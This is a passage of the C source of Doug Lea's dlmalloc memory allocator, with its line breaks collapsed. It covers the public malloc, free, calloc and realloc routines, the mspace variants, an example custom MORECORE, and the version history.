remainder = chunk_plus_offset(p, nb); set_inuse(m, p, nb); set_inuse(m, remainder, remainder_size); trailer = chunk2mem(remainder); } } assert (chunksize(p) >= nb); assert((((size_t)(chunk2mem(p))) % alignment) == 0); check_inuse_chunk(m, p); POSTACTION(m); if (leader != 0) { internal_free(m, leader); } if (trailer != 0) { internal_free(m, trailer); } return chunk2mem(p); } } return 0; } /* ------------------------ comalloc/coalloc support --------------------- */ static void** ialloc(mstate m, size_t n_elements, size_t* sizes, int opts, void* chunks[]) { /* This provides common support for independent_X routines, handling all of the combinations that can result. The opts arg has: bit 0 set if all elements are same size (using sizes[0]) bit 1 set if elements should be zeroed */ size_t element_size; /* chunksize of each element, if all same */ size_t contents_size; /* total size of elements */ size_t array_size; /* request size of pointer array */ void* mem; /* malloced aggregate space */ mchunkptr p; /* corresponding chunk */ size_t remainder_size; /* remaining bytes while splitting */ void** marray; /* either "chunks" or malloced ptr array */ mchunkptr array_chunk; /* chunk for malloced ptr array */ flag_t was_enabled; /* to disable mmap */ size_t size; size_t i; /* compute array length, if needed */ if (chunks != 0) { if (n_elements == 0) return chunks; /* nothing to do */ marray = chunks; array_size = 0; } else { /* if empty req, must still return chunk representing empty array */ if (n_elements == 0) return (void**)internal_malloc(m, 0); marray = 0; array_size = request2size(n_elements * (sizeof(void*))); } /* compute total element size */ if (opts & 0x1) { /* all-same-size */ element_size = request2size(*sizes); contents_size = n_elements * element_size; } else { /* add up all the sizes */ element_size = 0; contents_size = 0; for (i = 0; i != n_elements; ++i) contents_size += request2size(sizes[i]); } size = contents_size + array_size; /* Allocate the aggregate chunk. First disable direct-mmapping so malloc won't use it, since we would not be able to later free/realloc space internal to a segregated mmap region. */ was_enabled = use_mmap(m); disable_mmap(m); mem = internal_malloc(m, size - CHUNK_OVERHEAD); if (was_enabled) enable_mmap(m); if (mem == 0) return 0; if (PREACTION(m)) return 0; p = mem2chunk(mem); remainder_size = chunksize(p); assert(!is_mmapped(p)); if (opts & 0x2) { /* optionally clear the elements */ memset((size_t*)mem, 0, remainder_size - SIZE_T_SIZE - array_size); } /* If not provided, allocate the pointer array as final part of chunk */ if (marray == 0) { size_t array_chunk_size; array_chunk = chunk_plus_offset(p, contents_size); array_chunk_size = remainder_size - contents_size; marray = (void**) (chunk2mem(array_chunk)); set_size_and_pinuse_of_inuse_chunk(m, array_chunk, array_chunk_size); remainder_size = contents_size; } /* split out elements */ for (i = 0; ; ++i) { marray[i] = chunk2mem(p); if (i != n_elements-1) { if (element_size != 0) size = element_size; else size = request2size(sizes[i]); remainder_size -= size; set_size_and_pinuse_of_inuse_chunk(m, p, size); p = chunk_plus_offset(p, size); } else { /* the final element absorbs any overallocation slop */ set_size_and_pinuse_of_inuse_chunk(m, p, remainder_size); break; } } #if DEBUG if (marray != chunks) { /* final element must have exactly exhausted chunk */ if (element_size != 0) { assert(remainder_size == element_size); } else { assert(remainder_size == request2size(sizes[i])); } check_inuse_chunk(m, mem2chunk(marray)); } for (i = 0; i != n_elements; ++i) check_inuse_chunk(m, mem2chunk(marray[i])); #endif /* DEBUG */ POSTACTION(m); return marray; } /* -------------------------- public routines ---------------------------- */ #if !ONLY_MSPACES void* dlmalloc(size_t bytes) { /* Basic algorithm: If a small request (< 256 bytes minus per-chunk overhead): 1. If one exists, use a remainderless chunk in associated smallbin. (Remainderless means that there are too few excess bytes to represent as a chunk.) 2. If it is big enough, use the dv chunk, which is normally the chunk adjacent to the one used for the most recent small request. 3. If one exists, split the smallest available chunk in a bin, saving remainder in dv. 4. If it is big enough, use the top chunk. 5. If available, get memory from system and use it Otherwise, for a large request: 1. Find the smallest available binned chunk that fits, and use it if it is better fitting than dv chunk, splitting if necessary. 2. If better fitting than any binned chunk, use the dv chunk. 3. If it is big enough, use the top chunk. 4. If request size >= mmap threshold, try to directly mmap this chunk. 5. If available, get memory from system and use it The ugly goto's here ensure that postaction occurs along all paths. */ if (!PREACTION(gm)) { void* mem; size_t nb; if (bytes <= MAX_SMALL_REQUEST) { bindex_t idx; binmap_t smallbits; nb = (bytes < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(bytes); idx = small_index(nb); smallbits = gm->smallmap >> idx; if ((smallbits & 0x3U) != 0) { /* Remainderless fit to a smallbin. */ mchunkptr b, p; idx += ~smallbits & 1; /* Uses next bin if idx empty */ b = smallbin_at(gm, idx); p = b->fd; assert(chunksize(p) == small_index2size(idx)); unlink_first_small_chunk(gm, b, p, idx); set_inuse_and_pinuse(gm, p, small_index2size(idx)); mem = chunk2mem(p); check_malloced_chunk(gm, mem, nb); goto postaction; } else if (nb > gm->dvsize) { if (smallbits != 0) { /* Use chunk in next nonempty smallbin */ mchunkptr b, p, r; size_t rsize; bindex_t i; binmap_t leftbits = (smallbits << idx) & left_bits(idx2bit(idx)); binmap_t leastbit = least_bit(leftbits); compute_bit2idx(leastbit, i); b = smallbin_at(gm, i); p = b->fd; assert(chunksize(p) == small_index2size(i)); unlink_first_small_chunk(gm, b, p, i); rsize = small_index2size(i) - nb; /* Fit here cannot be remainderless if 4byte sizes */ if (SIZE_T_SIZE != 4 && rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(gm, p, small_index2size(i)); else { set_size_and_pinuse_of_inuse_chunk(gm, p, nb); r = chunk_plus_offset(p, nb); set_size_and_pinuse_of_free_chunk(r, rsize); replace_dv(gm, r, rsize); } mem = chunk2mem(p); check_malloced_chunk(gm, mem, nb); goto postaction; } else if (gm->treemap != 0 && (mem = tmalloc_small(gm, nb)) != 0) { check_malloced_chunk(gm, mem, nb); goto postaction; } } } else if (bytes >= MAX_REQUEST) nb = MAX_SIZE_T; /* Too big to allocate. Force failure (in sys alloc) */ else { nb = pad_request(bytes); if (gm->treemap != 0 && (mem = tmalloc_large(gm, nb)) != 0) { check_malloced_chunk(gm, mem, nb); goto postaction; } } if (nb <= gm->dvsize) { size_t rsize = gm->dvsize - nb; mchunkptr p = gm->dv; if (rsize >= MIN_CHUNK_SIZE) { /* split dv */ mchunkptr r = gm->dv = chunk_plus_offset(p, nb); gm->dvsize = rsize; set_size_and_pinuse_of_free_chunk(r, rsize); set_size_and_pinuse_of_inuse_chunk(gm, p, nb); } else { /* exhaust dv */ size_t dvs = gm->dvsize; gm->dvsize = 0; gm->dv = 0; set_inuse_and_pinuse(gm, p, dvs); } mem = chunk2mem(p); check_malloced_chunk(gm, mem, nb); goto postaction; } else if (nb < gm->topsize) { /* Split top */ size_t rsize = gm->topsize -= nb; mchunkptr p = gm->top; mchunkptr r = gm->top = chunk_plus_offset(p, nb); r->head = rsize | PINUSE_BIT; set_size_and_pinuse_of_inuse_chunk(gm, p, nb); mem = chunk2mem(p); check_top_chunk(gm, gm->top); check_malloced_chunk(gm, mem, nb); goto postaction; } mem = sys_alloc(gm, nb); postaction: POSTACTION(gm); return mem; } return 0; } void dlfree(void* mem) { /* Consolidate freed chunks with preceding or succeeding bordering free chunks, if they exist, and then place in a bin. Intermixed with special cases for top, dv, mmapped chunks, and usage errors. */ if (mem != 0) { mchunkptr p = mem2chunk(mem); #if FOOTERS mstate fm = get_mstate_for(p); if (!ok_magic(fm)) { USAGE_ERROR_ACTION(fm, p); return; } #else /* FOOTERS */ #define fm gm #endif /* FOOTERS */ if (!PREACTION(fm)) { check_inuse_chunk(fm, p); if (RTCHECK(ok_address(fm, p) && ok_cinuse(p))) { size_t psize = chunksize(p); mchunkptr next = chunk_plus_offset(p, psize); if (!pinuse(p)) { size_t prevsize = p->prev_foot; if ((prevsize & IS_MMAPPED_BIT) != 0) { prevsize &= ~IS_MMAPPED_BIT; psize += prevsize + MMAP_FOOT_PAD; if (CALL_MUNMAP((char*)p - prevsize, psize) == 0) fm->footprint -= psize; goto postaction; } else { mchunkptr prev = chunk_minus_offset(p, prevsize); psize += prevsize; p = prev; if (RTCHECK(ok_address(fm, prev))) { /* consolidate backward */ if (p != fm->dv) { unlink_chunk(fm, p, prevsize); } else if ((next->head & INUSE_BITS) == INUSE_BITS) { fm->dvsize = psize; set_free_with_pinuse(p, psize, next); goto postaction; } } else goto erroraction; } } if (RTCHECK(ok_next(p, next) && ok_pinuse(next))) { if (!cinuse(next)) { /* consolidate forward */ if (next == fm->top) { size_t tsize = fm->topsize += psize; fm->top = p; p->head = tsize | PINUSE_BIT; if (p == fm->dv) { fm->dv = 0; fm->dvsize = 0; } if (should_trim(fm, tsize)) sys_trim(fm, 0); goto postaction; } else if (next == fm->dv) { size_t dsize = fm->dvsize += psize; fm->dv = p; set_size_and_pinuse_of_free_chunk(p, dsize); goto postaction; } else { size_t nsize = chunksize(next); psize += nsize; unlink_chunk(fm, next, nsize); set_size_and_pinuse_of_free_chunk(p, psize); if (p == fm->dv) { fm->dvsize = psize; goto postaction; } } } else set_free_with_pinuse(p, psize, next); insert_chunk(fm, p, psize); check_free_chunk(fm, p); goto postaction; } } erroraction: USAGE_ERROR_ACTION(fm, p); postaction: POSTACTION(fm); } } #if !FOOTERS #undef fm #endif /* FOOTERS */ } void* dlcalloc(size_t n_elements, size_t elem_size) { void* mem; size_t req = 0; if (n_elements != 0) { req = n_elements * elem_size; if (((n_elements | elem_size) & ~(size_t)0xffff) && (req / n_elements != elem_size)) req = MAX_SIZE_T; /* force downstream failure on overflow */ } mem = dlmalloc(req); if (mem != 0 && calloc_must_clear(mem2chunk(mem))) memset(mem, 0, req); return mem; } void* dlrealloc(void* oldmem, size_t bytes) { if (oldmem == 0) return dlmalloc(bytes); #ifdef REALLOC_ZERO_BYTES_FREES if (bytes == 0) { dlfree(oldmem); return 0; } #endif /* REALLOC_ZERO_BYTES_FREES */ else { #if ! FOOTERS mstate m = gm; #else /* FOOTERS */ mstate m = get_mstate_for(mem2chunk(oldmem)); if (!ok_magic(m)) { USAGE_ERROR_ACTION(m, oldmem); return 0; } #endif /* FOOTERS */ return internal_realloc(m, oldmem, bytes); } } void* dlmemalign(size_t alignment, size_t bytes) { return internal_memalign(gm, alignment, bytes); } void** dlindependent_calloc(size_t n_elements, size_t elem_size, void* chunks[]) { size_t sz = elem_size; /* serves as 1-element array */ return ialloc(gm, n_elements, &sz, 3, chunks); } void** dlindependent_comalloc(size_t n_elements, size_t sizes[], void* chunks[]) { return ialloc(gm, n_elements, sizes, 0, chunks); } void* dlvalloc(size_t bytes) { size_t pagesz; init_mparams(); pagesz = mparams.page_size; return dlmemalign(pagesz, bytes); } void* dlpvalloc(size_t bytes) { size_t pagesz; init_mparams(); pagesz = mparams.page_size; return dlmemalign(pagesz, (bytes + pagesz - SIZE_T_ONE) & ~(pagesz - SIZE_T_ONE)); } int dlmalloc_trim(size_t pad) { int result = 0; if (!PREACTION(gm)) { result = sys_trim(gm, pad); POSTACTION(gm); } return result; } size_t dlmalloc_footprint(void) { return gm->footprint; } size_t dlmalloc_max_footprint(void) { return gm->max_footprint; } #if !NO_MALLINFO struct mallinfo dlmallinfo(void) { return internal_mallinfo(gm); } #endif /* NO_MALLINFO */ void dlmalloc_stats() { internal_malloc_stats(gm); } size_t dlmalloc_usable_size(void* mem) { if (mem != 0) { mchunkptr p = mem2chunk(mem); if (cinuse(p)) return chunksize(p) - overhead_for(p); } return 0; } int dlmallopt(int param_number, int value) { return change_mparam(param_number, value); } #endif /* !ONLY_MSPACES */ /* ----------------------------- user mspaces ---------------------------- */ #if MSPACES static mstate init_user_mstate(char* tbase, size_t tsize) { size_t msize = pad_request(sizeof(struct malloc_state)); mchunkptr mn; mchunkptr msp = align_as_chunk(tbase); mstate m = (mstate)(chunk2mem(msp)); memset(m, 0, msize); INITIAL_LOCK(&m->mutex); msp->head = (msize|PINUSE_BIT|CINUSE_BIT); m->seg.base = m->least_addr = tbase; m->seg.size = m->footprint = m->max_footprint = tsize; m->magic = mparams.magic; m->mflags = mparams.default_mflags; disable_contiguous(m); init_bins(m); mn = next_chunk(mem2chunk(m)); init_top(m, mn, (size_t)((tbase + tsize) - (char*)mn) - TOP_FOOT_SIZE); check_top_chunk(m, m->top); return m; } mspace create_mspace(size_t capacity, int locked) { mstate m = 0; size_t msize = pad_request(sizeof(struct malloc_state)); init_mparams(); /* Ensure pagesize etc initialized */ if (capacity < (size_t) -(msize + TOP_FOOT_SIZE + mparams.page_size)) { size_t rs = ((capacity == 0)? mparams.granularity : (capacity + TOP_FOOT_SIZE + msize)); size_t tsize = granularity_align(rs); char* tbase = (char*)(CALL_MMAP(tsize)); if (tbase != CMFAIL) { m = init_user_mstate(tbase, tsize); set_segment_flags(&m->seg, IS_MMAPPED_BIT); set_lock(m, locked); } } return (mspace)m; } mspace create_mspace_with_base(void* base, size_t capacity, int locked) { mstate m = 0; size_t msize = pad_request(sizeof(struct malloc_state)); init_mparams(); /* Ensure pagesize etc initialized */ if (capacity > msize + TOP_FOOT_SIZE && capacity < (size_t) -(msize + TOP_FOOT_SIZE + mparams.page_size)) { m = init_user_mstate((char*)base, capacity); set_segment_flags(&m->seg, EXTERN_BIT); set_lock(m, locked); } return (mspace)m; } size_t destroy_mspace(mspace msp) { size_t freed = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { msegmentptr sp = &ms->seg; while (sp != 0) { char* base = sp->base; size_t size = sp->size; flag_t flag = get_segment_flags(sp); sp = sp->next; if ((flag & IS_MMAPPED_BIT) && !(flag & EXTERN_BIT) && CALL_MUNMAP(base, size) == 0) freed += size; } } else { USAGE_ERROR_ACTION(ms,ms); } return freed; } /* mspace versions of routines are near-clones of the global versions. This is not so nice but better than the alternatives. */ void* mspace_malloc(mspace msp, size_t bytes) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } if (!PREACTION(ms)) { void* mem; size_t nb; if (bytes <= MAX_SMALL_REQUEST) { bindex_t idx; binmap_t smallbits; nb = (bytes < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(bytes); idx = small_index(nb); smallbits = ms->smallmap >> idx; if ((smallbits & 0x3U) != 0) { /* Remainderless fit to a smallbin. */ mchunkptr b, p; idx += ~smallbits & 1; /* Uses next bin if idx empty */ b = smallbin_at(ms, idx); p = b->fd; assert(chunksize(p) == small_index2size(idx)); unlink_first_small_chunk(ms, b, p, idx); set_inuse_and_pinuse(ms, p, small_index2size(idx)); mem = chunk2mem(p); check_malloced_chunk(ms, mem, nb); goto postaction; } else if (nb > ms->dvsize) { if (smallbits != 0) { /* Use chunk in next nonempty smallbin */ mchunkptr b, p, r; size_t rsize; bindex_t i; binmap_t leftbits = (smallbits << idx) & left_bits(idx2bit(idx)); binmap_t leastbit = least_bit(leftbits); compute_bit2idx(leastbit, i); b = smallbin_at(ms, i); p = b->fd; assert(chunksize(p) == small_index2size(i)); unlink_first_small_chunk(ms, b, p, i); rsize = small_index2size(i) - nb; /* Fit here cannot be remainderless if 4byte sizes */ if (SIZE_T_SIZE != 4 && rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(ms, p, small_index2size(i)); else { set_size_and_pinuse_of_inuse_chunk(ms, p, nb); r = chunk_plus_offset(p, nb); set_size_and_pinuse_of_free_chunk(r, rsize); replace_dv(ms, r, rsize); } mem = chunk2mem(p); check_malloced_chunk(ms, mem, nb); goto postaction; } else if (ms->treemap != 0 && (mem = tmalloc_small(ms, nb)) != 0) { check_malloced_chunk(ms, mem, nb); goto postaction; } } } else if (bytes >= MAX_REQUEST) nb = MAX_SIZE_T; /* Too big to allocate. Force failure (in sys alloc) */ else { nb = pad_request(bytes); if (ms->treemap != 0 && (mem = tmalloc_large(ms, nb)) != 0) { check_malloced_chunk(ms, mem, nb); goto postaction; } } if (nb <= ms->dvsize) { size_t rsize = ms->dvsize - nb; mchunkptr p = ms->dv; if (rsize >= MIN_CHUNK_SIZE) { /* split dv */ mchunkptr r = ms->dv = chunk_plus_offset(p, nb); ms->dvsize = rsize; set_size_and_pinuse_of_free_chunk(r, rsize); set_size_and_pinuse_of_inuse_chunk(ms, p, nb); } else { /* exhaust dv */ size_t dvs = ms->dvsize; ms->dvsize = 0; ms->dv = 0; set_inuse_and_pinuse(ms, p, dvs); } mem = chunk2mem(p); check_malloced_chunk(ms, mem, nb); goto postaction; } else if (nb < ms->topsize) { /* Split top */ size_t rsize = ms->topsize -= nb; mchunkptr p = ms->top; mchunkptr r = ms->top = chunk_plus_offset(p, nb); r->head = rsize | PINUSE_BIT; set_size_and_pinuse_of_inuse_chunk(ms, p, nb); mem = chunk2mem(p); check_top_chunk(ms, ms->top); check_malloced_chunk(ms, mem, nb); goto postaction; } mem = sys_alloc(ms, nb); postaction: POSTACTION(ms); return mem; } return 0; } void mspace_free(mspace msp, void* mem) { if (mem != 0) { mchunkptr p = mem2chunk(mem); #if FOOTERS mstate fm = get_mstate_for(p); #else /* FOOTERS */ mstate fm = (mstate)msp; #endif /* FOOTERS */ if (!ok_magic(fm)) { USAGE_ERROR_ACTION(fm, p); return; } if (!PREACTION(fm)) { check_inuse_chunk(fm, p); if (RTCHECK(ok_address(fm, p) && ok_cinuse(p))) { size_t psize = chunksize(p); mchunkptr next = chunk_plus_offset(p, psize); if (!pinuse(p)) { size_t prevsize = p->prev_foot; if ((prevsize & IS_MMAPPED_BIT) != 0) { prevsize &= ~IS_MMAPPED_BIT; psize += prevsize + MMAP_FOOT_PAD; if (CALL_MUNMAP((char*)p - prevsize, psize) == 0) fm->footprint -= psize; goto postaction; } else { mchunkptr prev = chunk_minus_offset(p, prevsize); psize += prevsize; p = prev; if (RTCHECK(ok_address(fm, prev))) { /* consolidate backward */ if (p != fm->dv) { unlink_chunk(fm, p, prevsize); } else if ((next->head & INUSE_BITS) == INUSE_BITS) { fm->dvsize = psize; set_free_with_pinuse(p, psize, next); goto postaction; } } else goto erroraction; } } if (RTCHECK(ok_next(p, next) && ok_pinuse(next))) { if (!cinuse(next)) { /* consolidate forward */ if (next == fm->top) { size_t tsize = fm->topsize += psize; fm->top = p; p->head = tsize | PINUSE_BIT; if (p == fm->dv) { fm->dv = 0; fm->dvsize = 0; } if (should_trim(fm, tsize)) sys_trim(fm, 0); goto postaction; } else if (next == fm->dv) { size_t dsize = fm->dvsize += psize; fm->dv = p; set_size_and_pinuse_of_free_chunk(p, dsize); goto postaction; } else { size_t nsize = chunksize(next); psize += nsize; unlink_chunk(fm, next, nsize); set_size_and_pinuse_of_free_chunk(p, psize); if (p == fm->dv) { fm->dvsize = psize; goto postaction; } } } else set_free_with_pinuse(p, psize, next); insert_chunk(fm, p, psize); check_free_chunk(fm, p); goto postaction; } } erroraction: USAGE_ERROR_ACTION(fm, p); postaction: POSTACTION(fm); } } } void* mspace_calloc(mspace msp, size_t n_elements, size_t elem_size) { void* mem; size_t req = 0; mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } if (n_elements != 0) { req = n_elements * elem_size; if (((n_elements | elem_size) & ~(size_t)0xffff) && (req / n_elements != elem_size)) req = MAX_SIZE_T; /* force downstream failure on overflow */ } mem = internal_malloc(ms, req); if (mem != 0 && calloc_must_clear(mem2chunk(mem))) memset(mem, 0, req); return mem; } void* mspace_realloc(mspace msp, void* oldmem, size_t bytes) { if (oldmem == 0) return mspace_malloc(msp, bytes); #ifdef REALLOC_ZERO_BYTES_FREES if (bytes == 0) { mspace_free(msp, oldmem); return 0; } #endif /* REALLOC_ZERO_BYTES_FREES */ else { #if FOOTERS mchunkptr p = mem2chunk(oldmem); mstate ms = get_mstate_for(p); #else /* FOOTERS */ mstate ms = (mstate)msp; #endif /* FOOTERS */ if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } return internal_realloc(ms, oldmem, bytes); } } void* mspace_memalign(mspace msp, size_t alignment, size_t bytes) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } return internal_memalign(ms, alignment, bytes); } void** mspace_independent_calloc(mspace msp, size_t n_elements, size_t elem_size, void* chunks[]) { size_t sz = elem_size; /* serves as 1-element array */ mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } return ialloc(ms, n_elements, &sz, 3, chunks); } void** mspace_independent_comalloc(mspace msp, size_t n_elements, size_t sizes[], void* chunks[]) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } return ialloc(ms, n_elements, sizes, 0, chunks); } int mspace_trim(mspace msp, size_t pad) { int result = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { if (!PREACTION(ms)) { result = sys_trim(ms, pad); POSTACTION(ms); } } else { USAGE_ERROR_ACTION(ms,ms); } return result; } void mspace_malloc_stats(mspace msp) { mstate ms = (mstate)msp; if (ok_magic(ms)) { internal_malloc_stats(ms); } else { USAGE_ERROR_ACTION(ms,ms); } } size_t mspace_footprint(mspace msp) { size_t result; mstate ms = (mstate)msp; if (ok_magic(ms)) { result = ms->footprint; } USAGE_ERROR_ACTION(ms,ms); return result; } size_t mspace_max_footprint(mspace msp) { size_t result; mstate ms = (mstate)msp; if (ok_magic(ms)) { result = ms->max_footprint; } USAGE_ERROR_ACTION(ms,ms); return result; } #if !NO_MALLINFO struct mallinfo mspace_mallinfo(mspace msp) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); } return internal_mallinfo(ms); } #endif /* NO_MALLINFO */ int mspace_mallopt(int param_number, int value) { return change_mparam(param_number, value); } #endif /* MSPACES */ /* -------------------- Alternative MORECORE functions ------------------- */ /* Guidelines for creating a custom version of MORECORE: * For best performance, MORECORE should allocate in multiples of pagesize. * MORECORE may allocate more memory than requested. (Or even less, but this will usually result in a malloc failure.) * MORECORE must not allocate memory when given argument zero, but instead return one past the end address of memory from previous nonzero call. * For best performance, consecutive calls to MORECORE with positive arguments should return increasing addresses, indicating that space has been contiguously extended. * Even though consecutive calls to MORECORE need not return contiguous addresses, it must be OK for malloc'ed chunks to span multiple regions in those cases where they do happen to be contiguous. * MORECORE need not handle negative arguments -- it may instead just return MFAIL when given negative arguments. Negative arguments are always multiples of pagesize. MORECORE must not misinterpret negative args as large positive unsigned args. You can suppress all such calls from even occurring by defining MORECORE_CANNOT_TRIM, As an example alternative MORECORE, here is a custom allocator kindly contributed for pre-OSX macOS. It uses virtually but not necessarily physically contiguous non-paged memory (locked in, present and won't get swapped out). You can use it by uncommenting this section, adding some #includes, and setting up the appropriate defines above: #define MORECORE osMoreCore There is also a shutdown routine that should somehow be called for cleanup upon program exit. #define MAX_POOL_ENTRIES 100 #define MINIMUM_MORECORE_SIZE (64 * 1024U) static int next_os_pool; void *our_os_pools[MAX_POOL_ENTRIES]; void *osMoreCore(int size) { void *ptr = 0; static void *sbrk_top = 0; if (size > 0) { if (size < MINIMUM_MORECORE_SIZE) size = MINIMUM_MORECORE_SIZE; if (CurrentExecutionLevel() == kTaskLevel) ptr = PoolAllocateResident(size + RM_PAGE_SIZE, 0); if (ptr == 0) { return (void *) MFAIL; } // save ptrs so they can be freed during cleanup our_os_pools[next_os_pool] = ptr; next_os_pool++; ptr = (void *) ((((size_t) ptr) + RM_PAGE_MASK) & ~RM_PAGE_MASK); sbrk_top = (char *) ptr + size; return ptr; } else if (size < 0) { // we don't currently support shrink behavior return (void *) MFAIL; } else { return sbrk_top; } } // cleanup any allocated memory pools // called as last thing before shutting down driver void osCleanupMem(void) { void **ptr; for (ptr = our_os_pools; ptr < &our_os_pools[MAX_POOL_ENTRIES]; ptr++) if (*ptr) { PoolDeallocate(*ptr); *ptr = 0; } } */ /* ----------------------------------------------------------------------- History: V2.8.3 Thu Sep 22 11:16:32 2005 Doug Lea (dl at gee) * Add max_footprint functions * Ensure all appropriate literals are size_t * Fix conditional compilation problem for some #define settings * Avoid concatenating segments with the one provided in create_mspace_with_base * Rename some variables to avoid compiler shadowing warnings * Use explicit lock initialization. * Better handling of sbrk interference. * Simplify and fix segment insertion, trimming and mspace_destroy * Reinstate REALLOC_ZERO_BYTES_FREES option from 2.7.x * Thanks especially to Dennis Flanagan for help on these. V2.8.2 Sun Jun 12 16:01:10 2005 Doug Lea (dl at gee) * Fix memalign brace error. V2.8.1 Wed Jun 8 16:11:46 2005 Doug Lea (dl at gee) * Fix improper #endif nesting in C++ * Add explicit casts needed for C++ V2.8.0 Mon May 30 14:09:02 2005 Doug Lea (dl at gee) * Use trees for large bins * Support mspaces * Use segments to unify sbrk-based and mmap-based system allocation, removing need for emulation on most platforms without sbrk. * Default safety checks * Optional footer checks. Thanks to William Robertson for the idea. * Internal code refactoring * Incorporate suggestions and platform-specific changes. Thanks to Dennis Flanagan, Colin Plumb, Niall Douglas, Aaron Bachmann, Emery Berger, and others. * Speed up non-fastbin processing enough to remove fastbins. * Remove useless cfree() to avoid conflicts with other apps. * Remove internal memcpy, memset. Compilers handle builtins better. * Remove some options that no one ever used and rename others. V2.7.2 Sat Aug 17 09:07:30 2002 Doug Lea (dl at gee) * Fix malloc_state bitmap array misdeclaration V2.7.1 Thu Jul 25 10:58:03 2002 Doug Lea (dl at gee) * Allow tuning of FIRST_SORTED_BIN_SIZE * Use PTR_UINT as type for all ptr->int casts. Thanks to John Belmonte. * Better detection and support for non-contiguousness of MORECORE. Thanks to Andreas Mueller, Conal Walsh, and Wolfram Gloger * Bypass most of malloc if no frees. Thanks To Emery Berger. * Fix freeing of old top non-contiguous chunk im sysmalloc. * Raised default trim and map thresholds to 256K. * Fix mmap-related #defines. Thanks to Lubos Lunak. * Fix copy macros; added LACKS_FCNTL_H. Thanks to Neal Walfield. * Branch-free bin calculation * Default trim and mmap thresholds now 256K. V2.7.0 Sun Mar 11 14:14:06 2001 Doug Lea (dl at gee) * Introduce independent_comalloc and independent_calloc. Thanks to Michael Pachos for motivation and help. * Make optional .h file available * Allow > 2GB requests on 32bit systems. * new WIN32 sbrk, mmap, munmap, lock code from . Thanks also to Andreas Mueller , and Anonymous. * Allow override of MALLOC_ALIGNMENT (Thanks to Ruud Waij for helping test this.) * memalign: check alignment arg * realloc: don't try to shift chunks backwards, since this leads to more fragmentation in some programs and doesn't seem to help in any others. * Collect all cases in malloc requiring system memory into sysmalloc * Use mmap as backup to sbrk * Place all internal state in malloc_state * Introduce fastbins (although similar to 2.5.1) * Many minor tunings and cosmetic improvements * Introduce USE_PUBLIC_MALLOC_WRAPPERS, USE_MALLOC_LOCK * Introduce MALLOC_FAILURE_ACTION, MORECORE_CONTIGUOUS Thanks to Tony E. Bennett and others. * Include errno.h to support default failure action. V2.6.6 Sun Dec 5 07:42:19 1999 Doug Lea (dl at gee) * return null for negative arguments * Added Several WIN32 cleanups from Martin C. Fong * Add 'LACKS_SYS_PARAM_H' for those systems without 'sys/param.h' (e.g. WIN32 platforms) * Cleanup header file inclusion for WIN32 platforms * Cleanup code to avoid Microsoft Visual C++ compiler complaints * Add 'USE_DL_PREFIX' to quickly allow co-existence with existing memory allocation routines * Set 'malloc_getpagesize' for WIN32 platforms (needs more work) * Use 'assert' rather than 'ASSERT' in WIN32 code to conform to usage of 'assert' in non-WIN32 code * Improve WIN32 'sbrk()' emulation's 'findRegion()' routine to avoid infinite loop * Always call 'fREe()' rather than 'free()' V2.6.5 Wed Jun 17 15:57:31 1998 Doug Lea (dl at gee) * Fixed ordering problem with boundary-stamping V2.6.3 Sun May 19 08:17:58 1996 Doug Lea (dl at gee) * Added pvalloc, as recommended by H.J. Liu * Added 64bit pointer support mainly from Wolfram Gloger * Added anonymously donated WIN32 sbrk emulation * Malloc, calloc, getpagesize: add optimizations from Raymond Nijssen * malloc_extend_top: fix mask error that caused wastage after foreign sbrks * Add linux mremap support code from HJ Liu V2.6.2 Tue Dec 5 06:52:55 1995 Doug Lea (dl at gee) * Integrated most documentation with the code. * Add support for mmap, with help from Wolfram Gloger (Gloger@lrz.uni-muenchen.de). * Use last_remainder in more cases. * Pack bins using idea from colin@nyx10.cs.du.edu * Use ordered bins instead of best-fit threshhold * Eliminate block-local decls to simplify tracing and debugging. * Support another case of realloc via move into top * Fix error occuring when initial sbrk_base not word-aligned. * Rely on page size for units instead of SBRK_UNIT to avoid surprises about sbrk alignment conventions. * Add mallinfo, mallopt. Thanks to Raymond Nijssen (raymond@es.ele.tue.nl) for the suggestion. * Add `pad' argument to malloc_trim and top_pad mallopt parameter. * More precautions for cases where other routines call sbrk, courtesy of Wolfram Gloger (Gloger@lrz.uni-muenchen.de). * Added macros etc., allowing use in linux libc from H.J. Lu (hjl@gnu.ai.mit.edu) * Inverted this history list V2.6.1 Sat Dec 2 14:10:57 1995 Doug Lea (dl at gee) * Re-tuned and fixed to behave more nicely with V2.6.0 changes. * Removed all preallocation code since under current scheme the work required to undo bad preallocations exceeds the work saved in good cases for most test programs. * No longer use return list or unconsolidated bins since no scheme using them consistently outperforms those that don't given above changes. * Use best fit for very large chunks to prevent some worst-cases. * Added some support for debugging V2.6.0 Sat Nov 4 07:05:23 1995 Doug Lea (dl at gee) * Removed footers when chunks are in use. Thanks to Paul Wilson (wilson@cs.texas.edu) for the suggestion. V2.5.4 Wed Nov 1 07:54:51 1995 Doug Lea (dl at gee) * Added malloc_trim, with help from Wolfram Gloger (wmglo@Dent.MED.Uni-Muenchen.DE). V2.5.3 Tue Apr 26 10:16:01 1994 Doug Lea (dl at g) V2.5.2 Tue Apr 5 16:20:40 1994 Doug Lea (dl at g) * realloc: try to expand in both directions * malloc: swap order of clean-bin strategy; * realloc: only conditionally expand backwards * Try not to scavenge used bins * Use bin counts as a guide to preallocation * Occasionally bin return list chunks in first scan * Add a few optimizations from colin@nyx10.cs.du.edu V2.5.1 Sat Aug 14 15:40:43 1993 Doug Lea (dl at g) * faster bin computation & slightly different binning * merged all consolidations to one part of malloc proper (eliminating old malloc_find_space & malloc_clean_bin) * Scan 2 returns chunks (not just 